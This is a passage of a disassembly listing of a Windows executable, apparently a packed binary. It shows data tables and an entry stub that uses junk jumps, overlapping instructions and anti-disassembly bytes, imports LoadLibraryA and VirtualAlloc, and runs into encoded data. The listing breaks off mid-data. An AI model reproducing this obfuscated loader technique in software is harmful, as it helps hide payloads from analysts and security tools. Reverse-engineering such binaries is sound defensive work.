6243CA96h, 10D28CB8h, 0BE329AF1h dd 0E04CD689h, 57F33A68h, 6D0880F7h, 200EC402h, 0B6F9AA6Ch dd 0D76CA5D1h, 0A8214D58h, 0EDC0AD42h, 0A0AAB6EDh, 5AEAABB0h dword_4B37B8 dd 0FE30911h ; DATA XREF: sub_430ADAr dd 0CD1B9D56h db 91h, 0A2h word_4B37C2 dw 7C69h ; DATA XREF: sub_404890+1324o dd 3E19C315h, 0C317A284h, 1A672955h, 277B260Bh, 28742E63h dd 0FC2C7550h, 6A2A482Ah, 60D017D8h, 6B344E33h dword_4B37E8 dd 0BF24E71Eh ; DATA XREF: _294ADE7B:00430954r dword_4B37EC dd 572CB8A4h ; DATA XREF: sub_42EA30+19r ; _294ADE7B:0043094Er dword_4B37F0 dd 2BE92D00h ; DATA XREF: sub_42EA30+22r ; _294ADE7B:00430948r dword_4B37F4 dd 54C8BB6h ; DATA XREF: sub_42E890+6Fr ; _294ADE7B:00430942r dword_4B37F8 dd 37C2D605h ; DATA XREF: sub_42E7F0:loc_42E815r ; _294ADE7B:0043093Cr dword_4B37FC dd 0D623F1AFh ; DATA XREF: sub_42E730+6Cr ; _294ADE7B:00430936r dword_4B3800 dd 287D478Dh ; DATA XREF: sub_42E160+15r ; sub_42E1B0+1Cr ... dword_4B3804 dd 5B9A6C1Bh ; DATA XREF: sub_42DE60+45r ; _294ADE7B:0043092Ar dword_4B3808 dd 621A6D22h ; DATA XREF: _294ADE7B:0042DD49r ; _294ADE7B:0042DDD9r ... dword_4B380C dd 4D3F410h ; DATA XREF: sub_42DB90+73r ; _294ADE7B:0043091Er dword_4B3810 dd 9F4146BDh ; DATA XREF: sub_42CC60+17r ; _294ADE7B:00430918r dword_4B3814 dd 0E8521824h ; DATA XREF: sub_42C4A0+35r ; sub_42C540+35r ... dword_4B3818 dd 945921A8h ; DATA XREF: sub_42C420+3Dr ; sub_42C4A0+4Ar ... dword_4B381C dd 0D4AD3A4h ; DATA XREF: sub_42B6E0+4Br ; _294ADE7B:00430906r dword_4B3820 dd 6A7C2FDh ; DATA XREF: sub_42B570+4Fr ; _294ADE7B:00430900r dword_4B3824 dd 3D1FD154h ; DATA XREF: sub_42B410+32r ; _294ADE7B:004308FAr dword_4B3828 dd 8E7FCDF6h ; DATA XREF: sub_42B410+57r ; _294ADE7B:004308F4r dword_4B382C dd 34BCC6Eh ; DATA XREF: _294ADE7B:0042B3AFr ; sub_42BC70+34r ... dword_4B3830 dd 0EAAE0303h ; DATA XREF: sub_42B320+1Er ; sub_42B410+73r ... dword_4B3834 dd 4CA4388h ; DATA XREF: _294ADE7B:0042A4F8r ; _294ADE7B:004308E2r dword_4B3838 dd 0DD53B6D4h ; DATA XREF: _294ADE7B:0042A526r ; _294ADE7B:004308DCr dword_4B383C dd 0C4D13DCCh ; DATA XREF: _294ADE7B:0042A53Dr ; _294ADE7B:004308D6r dword_4B3840 dd 213791F2h ; DATA XREF: _294ADE7B:0042A54Dr ; sub_42B0F0+C3r ... dword_4B3844 dd 0DF6EDA7Ch ; DATA XREF: _294ADE7B:0042A56Br ; _294ADE7B:004308CAr dword_4B3848 dd 0FF665E00h ; DATA XREF: sub_42A250+47r ; _294ADE7B:0042A357r ... dword_4B384C dd 8BA35FFh ; DATA XREF: sub_42A250+63r ; _294ADE7B:0042A373r ... dword_4B3850 dd 13710A80h ; DATA XREF: _294ADE7B:0042A070r ; sub_42BC70+78r ... dword_4B3854 dd 3603F8FFh ; DATA XREF: sub_425310+34r ; _294ADE7B:004308B2r dword_4B3858 dd 0FFA5B1E7h ; DATA XREF: _294ADE7B:00424D7Ar ; _294ADE7B:004308ACr dword_4B385C dd 3315FF11h ; DATA XREF: _294ADE7B:00422700r ; _294ADE7B:0042293Er ... dword_4B3860 dd 0C6CC27ACh ; DATA XREF: _294ADE7B:0042270Br ; sub_42B8A0+B1r ... dword_4B3864 dd 0AEF0007Ah ; DATA XREF: _294ADE7B:0042273Cr ; sub_426E00+110r ... dword_4B3868 dd 6FF0323Dh ; DATA XREF: _294ADE7B:00422411r ; sub_42A6E0+8r ... dword_4B386C dd 0E96FBB3Bh ; DATA XREF: _294ADE7B:004224A7r ; sub_42A6E0+2Ar ... dword_4B3870 dd 38FDC0FFh ; DATA XREF: _294ADE7B:004225BFr ; _294ADE7B:00422956r ... dword_4B3874 dd 8CA6296Fh ; DATA XREF: sub_41E9A0+1Br ; sub_42B410+4Dr ... dword_4B3878 dd 36E6F464h ; DATA XREF: sub_41E9A0+3Fr ; sub_42B410+38r ... dword_4B387C dd 0B4BF1E46h ; DATA XREF: sub_41E560+41r ; sub_41E9A0+BEr ... dword_4B3880 dd 0D359659Bh ; DATA XREF: sub_41E560+D5r ; sub_41E9A0+CDr ... dword_4B3884 dd 0C8A0FF87h ; DATA XREF: _294ADE7B:0041E2AFr ; _294ADE7B:00430864r dword_4B3888 dd 6260EBE9h ; DATA XREF: _294ADE7B:0041E2B9r ; _294ADE7B:0043085Er dword_4B388C dd 63FF1956h ; DATA XREF: _294ADE7B:0041E2C2r ; _294ADE7B:00430858r dword_4B3890 dd 707D2425h ; DATA XREF: _294ADE7B:0041A834r ; _294ADE7B:0041A9A4r ... dword_4B3894 dd 0FF436AB5h ; DATA XREF: _294ADE7B:0043084Cr dword_4B3898 dd 82835415h ; DATA XREF: sub_41E9A0+94r ; _294ADE7B:loc_422808r ... dword_4B389C dd 701D15F3h ; DATA XREF: _294ADE7B:00430840r dword_4B38A0 dd 881A28FFh ; DATA XREF: _294ADE7B:00424DABr ; _294ADE7B:0043083Ar dword_4B38A4 dd 264908CFh ; DATA XREF: sub_41EB00+39r ; sub_426A30+11r ... dword_4B38A8 dd 0CD19FF76h ; DATA XREF: sub_40C310+A9r ; sub_41EB00:loc_41EB4Cr ... dword_4B38AC dd 264AEE0Fh ; DATA XREF: sub_40C310+352r ; _294ADE7B:00430828r dword_4B38B0 dd 0EFC62743h ; DATA XREF: _294ADE7B:00430822r dword_4B38B4 dd 7CFF917Eh ; DATA XREF: _294ADE7B:0040C242r ; _294ADE7B:00424D47r ... dword_4B38B8 dd 0E7736D72h ; DATA XREF: _294ADE7B:00430816r dword_4B38BC dd 0E3FD4E5Bh ; DATA XREF: _294ADE7B:00430810r dword_4B38C0 dd 0E44911E0h ; DATA XREF: _294ADE7B:0041E277r ; sub_41EB00+25r ... dword_4B38C4 dd 0BB16F46h ; DATA XREF: sub_41F2A0+14r ; _294ADE7B:00430804r dword_4B38C8 dd 340B3A55h ; DATA XREF: _294ADE7B:0040C271r ; sub_41E560+E1r ... dword_4B38CC dd 81D2FFE0h ; DATA XREF: sub_416980+5r ; sub_416AE0+C5r ... dword_4B38D0 dd 279204C5h ; DATA XREF: sub_404840+2r ; sub_40C310+332r ... dword_4B38D4 dd 301B1DDBh ; DATA XREF: sub_41E6C0+136r ; _294ADE7B:004307BCr dword_4B38D8 dd 0BDA3FF51h ; DATA XREF: _294ADE7B:004307C2r dword_4B38DC dd 0B00883Fh ; DATA XREF: sub_41A740+3Br ; _294ADE7B:004307C8r dword_4B38E0 dd 55FE552Eh ; DATA XREF: sub_41BE00+17Br ; _294ADE7B:004307CEr dword_4B38E4 dd 162E5648h ; DATA XREF: sub_41A020+6Cr ; _294ADE7B:004307D4r dword_4B38E8 dd 570D6E69h ; DATA XREF: _294ADE7B:004307DAr dword_4B38EC dd 0E1065DFDh ; DATA XREF: _294ADE7B:004307E0r dword_4B38F0 dd 77B2DDC0h ; DATA XREF: sub_409590+13r ; _294ADE7B:004307E6r dword_4B38F4 dd 0F9FCFFh ; DATA XREF: _294ADE7B:004307ECr dword_4B38F8 dd 0 ; DATA XREF: _294ADE7B:004307F2r dword_4B38FC dd 0FF800400h ; DATA XREF: _294ADE7B:0041E29Ar ; _294ADE7B:0043086Ar dd 19h dup(0) dword_4B3964 dd 0 ; DATA XREF: sub_430AC2r dword_4B3968 dd 0 ; DATA XREF: sub_430AB6r dword_4B396C dd 0 ; DATA XREF: sub_430ABCr dd 0Bh dup(0) dword_4B399C dd 0 ; DATA XREF: sub_41E6C0+113r ; _294ADE7B:0043079Er dword_4B39A0 dd 0 ; DATA XREF: sub_41E6C0+11Dr ; _294ADE7B:00430798r dword_4B39A4 dd 0 ; DATA XREF: sub_41E6C0+E5r ; _294ADE7B:00430792r dword_4B39A8 dd 0 ; DATA XREF: _294ADE7B:0043078Cr dword_4B39AC dd 0 ; DATA XREF: sub_41E6C0+147r ; _294ADE7B:00430786r ... dword_4B39B0 dd 0 ; DATA XREF: _294ADE7B:loc_430780r dword_4B39B4 dd 0 ; DATA XREF: _294ADE7B:0043077Ar dword_4B39B8 dd 0 ; DATA XREF: _294ADE7B:00430774r dword_4B39BC dd 0 ; DATA XREF: sub_41E6C0+EBr dword_4B39C0 dd 0 ; DATA XREF: sub_41E6C0+105r ; _294ADE7B:004307A4r dd 0Dh dup(0) dword_4B39F8 dd 0 ; DATA XREF: _294ADE7B:00430762r dword_4B39FC dd 0 ; DATA XREF: _294ADE7B:0043075Cr dword_4B3A00 dd 0 ; DATA XREF: _294ADE7B:00430756r dword_4B3A04 dd 0 ; DATA XREF: sub_427DF0+58r ; _294ADE7B:00430AECr dd 0 dword_4B3A0C dd 0 ; DATA XREF: _294ADE7B:0043074Cr dword_4B3A10 dd 0 ; DATA XREF: _294ADE7B:00430734r dword_4B3A14 dd 0 ; DATA XREF: _294ADE7B:0043072Er dd 0 dword_4B3A1C dd 0 ; DATA XREF: _294ADE7B:00430728r dword_4B3A20 dd 0 ; DATA XREF: _294ADE7B:00430722r dword_4B3A24 dd 0 ; DATA XREF: sub_4303E4+Dr dword_4B3A28 dd 0 ; DATA XREF: sub_43071Cr dword_4B3A2C dd 0 ; DATA XREF: sub_430716r dword_4B3A30 dd 0 ; DATA XREF: _294ADE7B:0042CB94r ; _294ADE7B:004305B2r dword_4B3A34 dd 0 ; DATA XREF: sub_4305ACr dword_4B3A38 dd 0 ; DATA XREF: sub_4305A6r dword_4B3A3C dd 0 ; DATA XREF: _294ADE7B:0042B2EBr ; _294ADE7B:0042C864r ... dword_4B3A40 dd 0 ; DATA XREF: sub_42B0F0+96r ; _294ADE7B:0043059Ar dword_4B3A44 dd 0 ; DATA XREF: sub_4295A0+19Br ; _294ADE7B:00430594r dword_4B3A48 dd 0 ; DATA XREF: sub_428FC0+E0r ; sub_428FC0+100r ... dword_4B3A4C dd 0 ; DATA XREF: sub_428270+32r ; sub_428340+77r ... dword_4B3A50 dd 0 ; DATA XREF: sub_428020+A1r ; sub_428C00+5Fr ... dword_4B3A54 dd 0 ; DATA XREF: sub_428020+AAr ; sub_428C00+68r ... dword_4B3A58 dd 0 ; DATA XREF: sub_4279B0+61r ; sub_4279B0+EFr ... dword_4B3A5C dd 0 ; DATA XREF: sub_4279B0+76r dword_4B3A60 dd 0 ; DATA XREF: _294ADE7B:00430768r dword_4B3A64 dd 0 ; DATA XREF: sub_4279B0+193r ; sub_428720+301r ... dword_4B3A68 dd 0 ; DATA XREF: sub_427930+19r ; sub_427CB0+4Ar ... dword_4B3A6C dd 0 ; DATA XREF: sub_427930+29r ; sub_427CB0+3Fr ... dword_4B3A70 dd 0 ; DATA XREF: sub_421E50+4Dr ; sub_428720+114r ... dword_4B3A74 dd 0 ; DATA XREF: sub_421170+804r ; _294ADE7B:00430558r dword_4B3A78 dd 0 ; DATA XREF: _294ADE7B:0041E2CDr ; sub_4295A0+154r ... dword_4B3A7C dd 0 ; DATA XREF: sub_41D500+571r ; sub_41D500+587r ... dword_4B3A80 dd 0 ; DATA XREF: sub_41D500+578r ; _294ADE7B:0041F398r ... dword_4B3A84 dd 0 ; DATA XREF: sub_41D500+5B4r ; sub_4295A0+DCr ... dword_4B3A88 dd 0 ; DATA XREF: sub_41BE00+4BAr ; sub_41BE00+508r ... dword_4B3A8C dd 0 ; DATA XREF: _294ADE7B:0041A83Ar ; _294ADE7B:0041A9AAr ... dword_4B3A90 dd 0 ; DATA XREF: _294ADE7B:0041A32Ar ; sub_41BE00+3CEr ... dword_4B3A94 dd 0 ; DATA XREF: _294ADE7B:0041A338r ; sub_41BE00+519r ... dword_4B3A98 dd 0 ; DATA XREF: sub_43043Ar dword_4B3A9C dd 0 ; DATA XREF: sub_41A020:loc_41A102r ; sub_41A020+17Er ... dword_4B3AA0 dd 0 ; DATA XREF: sub_41A020+178r ; _294ADE7B:00422345r ... dword_4B3AA4 dd 0 ; DATA XREF: sub_43076Er dword_4B3AA8 dd 0 ; DATA XREF: sub_421170+6C0r ; sub_421170+897r ... dword_4B3AAC dd 0 ; DATA XREF: sub_422BB0+Ar ; sub_422BF0+A0r ... dword_4B3AB0 dd 0 ; DATA XREF: sub_41EDB0+24Er ; sub_422A90+9r ... dword_4B3AB4 dd 0 ; DATA XREF: sub_40C310+399r ; sub_421170+37Cr ... dword_4B3AB8 dd 0 ; DATA XREF: sub_41BE00+6B4r ; _294ADE7B:0042CB52r ... dword_4B3ABC dd 0 ; DATA XREF: _294ADE7B:0040C0F6r ; sub_41BE00+495r ... dword_4B3AC0 dd 0 ; DATA XREF: _294ADE7B:004303C6r dword_4B3AC4 dd 0 ; DATA XREF: sub_409C20+1r ; sub_421170+701r ... dword_4B3AC8 dd 0 ; DATA XREF: _294ADE7B:00430388r dword_4B3ACC dd 0 ; DATA XREF: sub_430382r dword_4B3AD0 dd 0 ; DATA XREF: _294ADE7B:00430350r dword_4B3AD4 dd 0 ; DATA XREF: sub_43034Ar dword_4B3AD8 dd 0 ; DATA XREF: sub_4068E0+B2r ; _294ADE7B:0041A3BDr ... dword_4B3ADC dd 0 ; DATA XREF: sub_409CE0+18r ; sub_40EB00+1126r ... dword_4B3AE0 dd 0 ; DATA XREF: sub_4181B0+10r ; _294ADE7B:004182AAr ... dword_4B3AE4 dd 0 ; DATA XREF: sub_430332r dword_4B3AE8 dd 0 ; DATA XREF: sub_404890+14CBr ; _294ADE7B:0043032Cr dword_4B3AEC dd 0 ; DATA XREF: sub_41BE00+10Br ; sub_41CC30+567r ... dword_4B3AF0 dd 0 ; DATA XREF: sub_430320r dword_4B3AF4 dd 0 ; DATA XREF: sub_430316r dword_4B3AF8 dd 0 ; DATA XREF: sub_4279B0:loc_427A42r dword_4B3AFC dd 0 ; DATA XREF: sub_4178D0+137r ; sub_41E560+C6r ... dword_4B3B00 dd 0 ; DATA XREF: sub_4279B0+2Dr ; _294ADE7B:00430AE6r dword_4B3B04 dd 0 ; DATA XREF: sub_4279B0+87r ; _294ADE7B:00430570r dd 18h dup(0) dword_4B3B68 dd 0 ; DATA XREF: sub_4302F8r dword_4B3B6C dd 0 ; DATA XREF: sub_430310r dword_4B3B70 dd 0 ; DATA XREF: sub_43030Ar dword_4B3B74 dd 0 ; DATA XREF: sub_430304r dword_4B3B78 dd 0 ; DATA XREF: sub_4302FEr dd 0Ch dup(0) dword_4B3BAC dd 0 ; DATA XREF: sub_430ACEr dword_4B3BB0 dd 0 ; DATA XREF: sub_430AD4r dword_4B3BB4 dd 0 ; DATA XREF: sub_430AC8r dd 0Bh dup(0) dword_4B3BE4 dd 0 ; DATA XREF: sub_41A700+15r ; _294ADE7B:004309F0r dd 0Bh dup(0) dword_4B3C14 dd 0 ; DATA XREF: sub_41C890+4Dr ; sub_41C890+9Cr ... dword_4B3C18 dd 0 ; DATA XREF: _294ADE7B:0041858Dr ; sub_418620+2Dr ... dd 0Bh dup(0) dword_4B3C48 dd 0 ; DATA XREF: sub_430A38r dword_4B3C4C dd 0 ; DATA XREF: sub_4178D0+1BEr ; _294ADE7B:00430A3Er dword_4B3C50 dd 0 ; DATA XREF: _294ADE7B:00430A44r dword_4B3C54 dd 0 ; DATA XREF: sub_41D500+D8r ; _294ADE7B:0041E4CBr ... dword_4B3C58 dd 0 ; DATA XREF: sub_41D500+8Br ; sub_41E420+57r ... dword_4B3C5C dd 0 ; DATA XREF: sub_418980+118r ; sub_418DA0+48r ... dword_4B3C60 dd 0 ; DATA XREF: sub_418980+C5r ; _294ADE7B:00422179r ... dword_4B3C64 dd 0 ; DATA XREF: sub_41D500+FEr ; _294ADE7B:0041E4E9r ... dword_4B3C68 dd 0 ; DATA XREF: sub_430A68r dword_4B3C6C dd 0 ; DATA XREF: sub_41BE00+464r ; sub_41BE00+4DCr ... dword_4B3C70 dd 0 ; DATA XREF: _294ADE7B:00430A32r dword_4B3C74 dd 0 ; DATA XREF: sub_421F40+5Er ; sub_427080+E5r ... dword_4B3C78 dd 0 ; DATA XREF: sub_421E10+15r ; sub_423510+8r ... dword_4B3C7C dd 0 ; DATA XREF: sub_421E10+Dr ; _294ADE7B:00430A86r dword_4B3C80 dd 0 ; DATA XREF: _294ADE7B:004221D4r ; _294ADE7B:00430A8Cr dword_4B3C84 dd 0 ; DATA XREF: _294ADE7B:0042216Cr ; sub_427480+286r ... dword_4B3C88 dd 0 ; DATA XREF: sub_427480+CFr ; sub_430A98r dword_4B3C8C dd 0 ; DATA XREF: sub_427480+A6r ; _294ADE7B:00430A9Er dword_4B3C90 dd 0 ; DATA XREF: sub_430AA4r dword_4B3C94 dd 0 ; DATA XREF: sub_430AAAr dword_4B3C98 dd 0 ; DATA XREF: sub_430AB0r dword_4B3C9C dd 0 ; DATA XREF: sub_41BE00+392r ; sub_41D500+CCr ... dword_4B3CA0 dd 0 ; DATA XREF: sub_421170+66r ; sub_421170+7D3r ... dword_4B3CA4 dd 0 ; DATA XREF: sub_41E320+12r ; _294ADE7B:00425802r ... dword_4B3CA8 dd 0 ; DATA XREF: sub_41A670+5Ar ; sub_41BE00+34Cr ... dword_4B3CAC dd 0 ; DATA XREF: sub_41A670+Dr ; sub_41D500+61r ... dword_4B3CB0 dd 0 ; DATA XREF: sub_41A670+33r ; sub_41D500+51r ... dword_4B3CB4 dd 0 ; DATA XREF: sub_41A670+4Dr ; sub_41E360+60r ... dword_4B3CB8 dd 0 ; DATA XREF: sub_421170+7A2r ; sub_421D50+2Cr ... dword_4B3CBC dd 0 ; DATA XREF: sub_41A670+24r ; sub_41E320+6r ... dword_4B3CC0 dd 0 ; DATA XREF: _294ADE7B:00430A02r dword_4B3CC4 dd 0 ; DATA XREF: sub_41D500+134r ; _294ADE7B:00430A74r dd 11h dup(0) dword_4B3D0C dd 0 ; DATA XREF: sub_4307B0r dd 29Fh dup(0) db 0 SEH_417770 db 3 dup(0) ; DATA XREF: sub_417770+2o align 1000h CEF7B5AD ends ; Section 5. (virtual address 000B5000) ; Virtual size : 00008000 ( 32768.) ; Section size in file : 00008000 ( 32768.) ; Offset to raw data for section: 000B5000 ; Flags C00000E0: Text Data Bss Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Uninitialized ; Segment permissions: Read/Write _29C6B529 segment para public 'BSS' use32 assume cs:_29C6B529 ;org 4B5000h assume es:nothing, ss:nothing, ds:_294ADE7B, fs:nothing, gs:nothing dd 0B5028h, 2 dup(0) dd 0B504Fh, 0B5028h, 5 dup(0) dd 77E805D8h, 77E7980Ah, 0 aLoadlibrarya db 'LoadLibraryA',0 align 2 aVirtualalloc db 'VirtualAlloc',0 aKernel32_dll_0 db 'KERNEL32.dll',0 ; =============== S U B R O U T I N E ======================================= public start start proc near movsx ecx, cl imul ecx, esi movzx ecx, si stc jb short near ptr loc_4B5068+1 loc_4B5068: ; CODE XREF: start+Aj db 67h call near ptr loc_4B506E+1 loc_4B506E: ; CODE XREF: start:loc_4B5068p rep pop ecx start endp ; sp-analysis failed jmp short loc_4B5074 ; --------------------------------------------------------------------------- dw 67BEh ; --------------------------------------------------------------------------- loc_4B5074: ; CODE XREF: _29C6B529:004B5070j jmp short loc_4B5078 ; --------------------------------------------------------------------------- dw 8CF7h ; --------------------------------------------------------------------------- loc_4B5078: ; CODE XREF: _29C6B529:loc_4B5074j clc jnb short loc_4B507C sahf loc_4B507C: ; CODE XREF: _29C6B529:004B5079j call near ptr loc_4B5081+2 loc_4B5081: ; CODE XREF: _29C6B529:loc_4B507Cp mov word ptr [esi+58h], es clc jnb short near ptr loc_4B5087+1 loc_4B5087: ; CODE XREF: _29C6B529:004B5085j ; _29C6B529:004B509Cj call near ptr 693F2983h add [edx+edx*2+4Bh], bl and al, 0A5h jmp short loc_4B5096 ; --------------------------------------------------------------------------- db 0A5h, 0E6h ; --------------------------------------------------------------------------- loc_4B5096: ; CODE XREF: _29C6B529:004B5092j repne or eax, ebx stc jb short near ptr loc_4B509C+1 loc_4B509C: ; CODE XREF: _29C6B529:004B509Aj jnb short near ptr loc_4B5087+2 add cl, [esi] inc edx pop esi jmp short loc_4B50A6 ; --------------------------------------------------------------------------- db 41h, 0A8h ; --------------------------------------------------------------------------- loc_4B50A6: ; CODE XREF: _29C6B529:004B50A2j add eax, 1F9364A8h repne rol eax, 12h repne sub al, 0F2h neg eax rol esi, 58h and al, 9Ch jmp short loc_4B50BD ; --------------------------------------------------------------------------- db 0CDh db 20h ; --------------------------------------------------------------------------- loc_4B50BD: ; CODE XREF: _29C6B529:004B50B9j jmp short loc_4B50C1 ; --------------------------------------------------------------------------- db 0CDh db 20h ; --------------------------------------------------------------------------- loc_4B50C1: ; CODE XREF: _29C6B529:loc_4B50BDj repne ror eax, 0Ah stc jb short near ptr loc_4B50C8+1 loc_4B50C8: ; CODE XREF: _29C6B529:004B50C6j cmp al, 0F3h push 400h clc jnb short near ptr loc_4B50D2+1 loc_4B50D2: ; CODE XREF: _29C6B529:004B50D0j db 64h rol eax, 10h imul ecx, esi movzx eax, si stc jb short loc_4B50E0 xchg eax, ebp loc_4B50E0: ; CODE XREF: _29C6B529:004B50DDj and eax, ecx pop ebx add cl, 65h jmp short loc_4B50E9 ; --------------------------------------------------------------------------- db 46h ; --------------------------------------------------------------------------- loc_4B50E9: ; CODE XREF: _29C6B529:004B50E6j jmp short loc_4B50ED ; --------------------------------------------------------------------------- db 0CDh db 20h ; --------------------------------------------------------------------------- loc_4B50ED: ; CODE XREF: _29C6B529:loc_4B50E9j xor eax, 1Dh jmp short loc_4B50F3 ; --------------------------------------------------------------------------- db 41h ; --------------------------------------------------------------------------- loc_4B50F3: ; CODE XREF: _29C6B529:004B50F0j shl eax, 1 mov ecx, ebx clc jnb short near ptr loc_4B50FA+1 loc_4B50FA: ; CODE XREF: _29C6B529:004B50F8j add eax, 26E181F3h and eax, 892C9772h mov dl, [esi] clc jnb short near ptr loc_4B5109+1 loc_4B5109: ; CODE XREF: _29C6B529:004B5107j in al, 0F3h imul eax, 4631772Eh jmp short loc_4B5115 ; --------------------------------------------------------------------------- db 0DCh db 0C5h ; --------------------------------------------------------------------------- loc_4B5115: ; CODE XREF: _29C6B529:004B5111j and eax, eax call near ptr loc_4B511C+1 loc_4B511C: ; CODE XREF: _29C6B529:004B5132j ; _29C6B529:004B5117p xor [eax-0Dh], ebx xchg eax, ecx ror ecx, 5 jmp short loc_4B5127 ; --------------------------------------------------------------------------- db 0ECh, 0E9h ; --------------------------------------------------------------------------- loc_4B5127: ; CODE XREF: _29C6B529:004B5123j rep or eax, edx jmp short loc_4B512D ; --------------------------------------------------------------------------- db 0F4h ; --------------------------------------------------------------------------- loc_4B512D: ; CODE XREF: _29C6B529:004B512Aj add dl, bl clc jnb short near ptr loc_4B5132+1 loc_4B5132: ; CODE XREF: _29C6B529:004B5130j jg short loc_4B511C add al, [eax] ; --------------------------------------------------------------------------- dw 0 dd 0F25859B3h, 2EBC83Bh, 2EB20CDh, 0EA8107CCh, 0F59681F3h dd 0F2C2AF0Fh, 0BC2B60Fh, 0CB01EBCBh, 1F5902EBh, 80D0F7F3h dd 0C81323EAh, 0F80173F8h, 0EBCA2BF3h, 0EB20CD02h, 806C0B02h dd 0B60F02C2h, 1E806h, 58460000h, 0A80173F8h, 0EB0EB60Fh dd 0F2806901h, 173F81Ah, 0F9C98588h, 0EB2B0172h, 81916501h dd 2624DBEAh, 2601EB7Dh, 0F22401EBh, 1EBC18Bh, 6DE883F4h dd 2E8D32Ah, 71000000h, 3F25838h, 0CA8BF2CAh, 78C502EBh dd 0F318C8C1h, 834FEA80h, 24F271E1h, 172F96Bh, 172F99Bh dd 0FE02EBF3h, 0EB168840h, 73F81F01h, 1E80301h, 0A8000000h dd 0C185F359h, 0F3C70BF2h, 3F24046h, 6601EBC3h, 20CD02EBh dd 4BC20BF3h, 0F2CFAF0Fh, 0EBCFB70Fh, 2EB7B01h, 72F920CDh dd 2E8B301h, 6D000000h, 6BF35936h, 0D83B00C0h, 0EBC9B60Fh dd 0F528002h, 0B60FC9BEh, 0A902EBC9h, 0BE0FF2C1h, 6001EBC9h dd 0C1F2D0F7h, 2EB0AC1h, 850FFA81h, 0FFFFFEA7h, 0CF02EB49h dd 9901EB54h, 2EBD9F7h, 0EBB939h, 0F01FE6Bh, 0F2F3FFB7h dd 8FCF81h, 0BF20000h, 0FFBF0FFBh, 1E8h, 0F85ECF00h, 0F2CC0173h dd 0C8F2F681h, 0AF0F25F5h, 0F3B60FF3h, 0F875EE83h, 0F85F0173h dd 0EB4B0173h, 13C90902h, 0EBFE87FEh, 0EB1A3202h, 2EB4601h dd 68F23C68h, 4B565Ch, 467801EBh, 20CD02EBh, 0F3FAB60Fh dd 0CE81F28Bh, 0C440FE4h, 2E8h, 5F1F3F00h, 20CD02EBh, 5B4001EBh dd 2EBFA8Bh, 0FE0B20CDh, 2EBD7F7h, 2EB20CDh, 0CFC120CDh dd 173F814h, 173F833h, 6E4DB8C4h, 0AF0F0000h, 0F2B60FFAh dd 2EBF733h, 0FF856290h, 765602EBh, 8ECA02EBh, 20CD02EBh dd 0F22801EBh, 0B60FFB8Bh, 0F2F933F2h, 8B02FF69h, 0B70F6022h dd 0A202EBFFh, 172F908h, 0C1F7D114h, 2EB13F7h, 0B60F20CDh dd 0F683F30Bh, 8901EB3Fh, 72F94FF2h, 83F29901h, 2EB15E7h dd 0F68130F0h, 29A9230h, 0F2F2FB03h, 0EB6AF683h, 4720CD02h dd 2EBFF0Bh, 2EB20CDh, 73F820CDh, 0FE03D901h, 0AF0172F9h dd 23501EBh, 172F9C8h, 173F893h, 0CD02EB32h, 1CCEC120h dd 20CD02EBh, 93C102EBh, 2EBF88Bh, 73F8C093h, 0C8321201h dd 0C781FE87h, 4D33FCh, 20CD02EBh, 9A6702EBh, 1E8h, 0F95FD300h dd 0F99A0172h, 0F8130172h, 0EB020173h, 0E9810001h, 5F9E1980h dd 3BF88BF3h, 0F301EBFFh, 2E8h, 5F2F5F00h, 20CD02EBh, 333102EBh dd 85FA33F2h, 0B70FF3FEh, 0F181F3FFh, 2121079Eh, 20CD02EBh dd 0E783F73Bh, 48EF8109h, 812644B8h, 13225CC7h, 0CD02EB20h dd 0F713F220h, 0E7C1DEF7h, 0E8C80208h, 1, 0B60F5F88h, 3702EBFBh dd 0CD02EB17h, 0DEF7F220h, 0DCCC02EBh, 85338B4Eh, 0F2C832FEh dd 87F2FA1Bh, 172F9FEh, 0F8AF0FD1h, 0F8B60FF3h, 0F310CFC1h dd 0F80EEFC1h, 0EB620173h, 13F22C01h, 0CAF181F1h, 0EB207264h dd 0F9C99302h, 0F8320172h, 81E40173h, 0C0A840EEh, 0C1F73BE8h dd 87F210C6h, 7901EBFEh, 37EE83F3h, 11B3E981h, 0F2467B5Dh dd 0E8F8B60Fh, 1, 13F35EEDh, 173F8F3h, 0C681F37Ch, 9A7D3B3Eh dd 0C1D901EBh, 4EF209EEh, 2E8C802h, 3C000000h, 73F85E1Eh dd 1EBA301h, 0C781F2B4h, 0F2h, 23F3EFD1h, 0F73BF2F8h, 1E8h dd 0F85FC700h, 0F2D80173h, 0B8F6F181h, 2EBC127h, 2EB20CDh dd 2E824F7h, 27000000h, 1EB5F93h, 172F912h, 1802EB82h dd 0EBFE8742h, 0F920CD02h, 810E0172h, 0CDF83E9h, 0F683F310h dd 0EE8137h, 0F74B76B1h, 81F3F2DFh, 0BBF6h, 172F900h, 173F84Bh dd 173F812h, 8801EB42h, 0F29801EBh, 0D0A6F181h, 0FE87BB20h dd 2E8h, 5E902000h, 0FF3F82Bh, 0C681F1B6h, 0C5h, 9AEC02EBh dd 0FFB70FF3h, 1E8h, 0F85E3300h, 2A460173h, 1E8C8h, 5F3D0000h dd 0C1F323F2h, 72F915EEh, 83F20D01h, 1BF265F7h, 172F9F1h dd 173F88Fh, 0E683F251h, 0EB0B886Bh, 0EB319F02h, 0EB20CD02h dd 0F320CD02h, 0C683FE87h, 6BD6F729h, 2EB65F7h, 1EB20CDh dd 0F43F366h, 0B60FF9AFh, 0FBB60FF9h, 9B6E02EBh, 20CD02EBh dd 53C683F2h, 0FF2AF0Fh, 0BE0FFAB6h, 9CFC1F0h, 0E848DFF7h dd 2, 0F85F8204h, 0F2100173h, 73F8FF3Bh, 0F12B5D01h, 20CD02EBh dd 6FC683F3h, 20CD02EBh, 0C64402EBh, 0C73BFF2Bh, 2E8h dd 5FF8F100h, 0FFB70FF3h, 1A5302EBh, 2E8h, 5F69D200h, 0FFBF0FF3h dd 0EBFABE0Fh, 0F3DA6002h, 0F3FFBF0Fh, 8BFFBF0Fh, 0CFC1F3F3h dd 0EBF78B16h, 0F335C402h, 0EBFFBF0Fh, 0F20CD02h, 0BE0FFFBFh dd 0FFE87FBh, 0FFFCDD85h, 0E001EBFFh, 0FF2DEF7h, 1EBF8BEh dd 0CEC1F2FDh, 1E80Bh, 5EDD0000h, 0F3F3AF0Fh, 0EBFBB60Fh dd 0C17C6C02h, 0EB1CE6h, 0ACD4B855h, 0B9B3EFh, 35000002h dd 0B3AFACD4h, 32FFCA83h, 0D3FF0154h, 0E8F8E2C2h, 0F2h dd 5028BDFCh, 46A004Bh, 300068h, 0C0006800h, 8B510000h dd 3A800455h, 0C1940FCCh, 0D2FFD103h, 756958Dh, 52500000h dd 